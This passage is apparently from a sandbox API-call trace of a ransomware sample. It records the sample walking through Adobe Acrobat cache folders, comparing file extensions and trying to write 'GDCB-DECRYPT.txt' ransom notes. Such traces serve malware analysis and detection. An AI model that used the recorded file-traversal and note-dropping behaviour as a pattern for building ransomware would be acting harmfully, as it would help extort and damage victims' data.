Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.186] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0170.186] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.186] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.186] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 180 [0170.186] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.186] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.186] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.186] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.186] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.186] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.186] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.186] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.186] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.186] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.186] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 185 [0170.186] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.186] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.186] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.186] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.186] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 186 [0170.186] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.186] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.186] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.186] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.186] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 196 [0170.186] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.186] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.187] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.187] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.187] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 197 [0170.187] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.188] GetLastError () returned 0x50 [0170.188] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.188] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 180 [0170.188] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.188] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.189] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.189] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.189] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.189] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.189] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.189] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.189] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0170.189] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.189] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.189] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 186 [0170.189] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.189] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd5d0 [0170.189] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.189] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.189] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.189] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.189] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.189] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.189] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 191 [0170.190] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.190] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.190] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.190] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.190] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 202 [0170.190] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.190] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.190] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.190] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.190] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.190] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 199 [0170.190] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.190] FindClose (in: hFindFile=0x5dd5d0 | out: hFindFile=0x5dd5d0) returned 1 [0170.190] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.190] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 203 [0170.190] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.191] GetLastError () returned 0x50 [0170.191] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.191] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 186 [0170.191] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.191] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dcf10 [0170.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.192] FindNextFileW (in: hFindFile=0x5dcf10, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.192] FindNextFileW (in: hFindFile=0x5dcf10, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.192] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.192] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.192] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.192] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0170.192] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.192] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.192] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.192] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 192 [0170.192] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.192] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dcf50 [0170.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.192] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.193] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 198 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.193] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 198 [0170.193] FindNextFileW (in: hFindFile=0x5dcf50, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.193] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.193] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.193] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.193] lstrlenW (lpString="C:\\Documents and 